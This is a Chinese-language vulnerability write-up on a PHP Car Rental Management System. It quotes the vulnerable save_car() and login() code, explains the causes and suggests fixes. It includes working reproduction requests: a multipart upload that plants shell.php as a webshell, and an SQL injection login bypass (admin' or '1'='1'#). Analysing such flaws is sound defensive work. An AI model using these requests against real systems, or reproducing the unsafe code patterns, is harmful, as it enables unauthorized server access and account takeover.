Car Rental Management System待审记录
字数 897 2025-08-19 12:41:18
Car Rental Management System 漏洞分析与利用教学文档
前言
本文档详细分析Car Rental Management System(车辆租赁管理系统)中存在的两类安全漏洞:未授权文件上传和SQL注入。该系统是一个国外的车辆信息发布管理系统,存在多处安全缺陷。
一、未授权文件上传漏洞
漏洞位置
admin/admin_class.php 文件中的 save_car() 函数(第282-309行)
漏洞代码分析
function save_car(){
extract($_POST);
$data = "";
foreach($_POST as $k => $v){
if(!in_array($k, array('id','img','description')) && !is_numeric($k)){
if(empty($data)){
$data .= " $k='$v' ";
}else{
$data .= ", $k='$v' ";
}
}
}
$data .= ", description = '".htmlentities(str_replace("'","’",$description))."' ";
if($_FILES['img']['tmp_name'] != ''){
$fname = strtotime(date('y-m-d H:i')).'_'.$_FILES['img']['name'];
$fname = str_replace(" ", '', $fname);
$move = move_uploaded_file($_FILES['img']['tmp_name'],'assets/uploads/cars_img/'. $fname);
$data .= ", img_path = '$fname' ";
}
if(empty($id)){
$save = $this->db->query("INSERT INTO cars set $data");
}else{
$save = $this->db->query("UPDATE cars set $data where id = $id");
}
if($save)
return 1;
}
漏洞原理
- 直接接收前端传入的文件数据,未对文件内容进行任何校验
- 仅使用时间戳+原始文件名生成新文件名(未过滤危险扩展名)
- 文件直接保存到
assets/uploads/cars_img/目录下 - 无任何权限验证,未授权用户也可上传文件
漏洞复现步骤
- 构造恶意POST请求:
POST /admin/ajax.php?action=save_car HTTP/1.1
Host: 目标IP
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX98edFXJqWpvI5cf
------WebKitFormBoundaryX98edFXJqWpvI5cf
Content-Disposition: form-data; name="id"
------WebKitFormBoundaryX98edFXJqWpvI5cf
Content-Disposition: form-data; name="brand"
111
------WebKitFormBoundaryX98edFXJqWpvI5cf
Content-Disposition: form-data; name="model"
111
------WebKitFormBoundaryX98edFXJqWpvI5cf
Content-Disposition: form-data; name="category_id"
5
------WebKitFormBoundaryX98edFXJqWpvI5cf
Content-Disposition: form-data; name="engine_id"
3
------WebKitFormBoundaryX98edFXJqWpvI5cf
Content-Disposition: form-data; name="transmission_id"
3
------WebKitFormBoundaryX98edFXJqWpvI5cf
Content-Disposition: form-data; name="description"
111111111
------WebKitFormBoundaryX98edFXJqWpvI5cf
Content-Disposition: form-data; name="price"
10
------WebKitFormBoundaryX98edFXJqWpvI5cf
Content-Disposition: form-data; name="qty"
10
------WebKitFormBoundaryX98edFXJqWpvI5cf
Content-Disposition: form-data; name="img"; filename="shell.php"
Content-Type: application/octet-stream
<?php phpinfo();?>
------WebKitFormBoundaryX98edFXJqWpvI5cf--
- 服务器返回"1"表示上传成功
- 访问上传的webshell:
http://目标IP/assets/uploads/cars_img/[时间戳]_shell.php
修复建议
- 添加文件类型白名单验证
- 重命名文件时强制修改扩展名为安全类型
- 添加权限验证,确保只有授权用户可上传
- 对上传文件内容进行安全检查
二、SQL注入漏洞
漏洞位置
admin/admin_class.php 文件中的 login() 函数(第18-38行)
漏洞代码分析
function login(){
extract($_POST);
$qry = $this->db->query("SELECT * FROM users where username = '".$username."' and password = '".md5($password)."' ");
if($qry->num_rows >0){
foreach ($qry->fetch_array() as $key => $value) {
if($key != 'passwors' && !is_numeric($key))
$_SESSION['login_'.$key] = $value;
}
if($_SESSION['login_type'] != 1){
foreach ($_SESSION as $key => $value) {
unset($_SESSION[$key]);
}
return 2 ;
exit;
}
return 1;
}else{
return 3;
}
}
漏洞原理
- 直接将用户输入的
username参数拼接到SQL查询中 - 未使用预处理语句或任何过滤/转义措施
- 返回1表示登录成功,可被利用绕过认证
漏洞复现步骤
- 构造恶意POST请求:
POST /admin/ajax.php?action=login HTTP/1.1
Host: 目标IP
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
username=admin' or '1'='1'#&password=任意密码
- 服务器返回"1"表示登录成功
修复建议
- 使用预处理语句(PDO或mysqli_prepare)
- 对用户输入进行严格的过滤和转义
- 实施最小权限原则,限制数据库用户权限
- 添加登录失败次数限制
总结
Car Rental Management System存在严重安全漏洞,攻击者可利用:
- 未授权文件上传漏洞获取服务器控制权
- SQL注入漏洞绕过认证获取管理员权限
开发人员应重视安全编码实践,对所有用户输入进行严格验证,并实施适当的权限控制机制。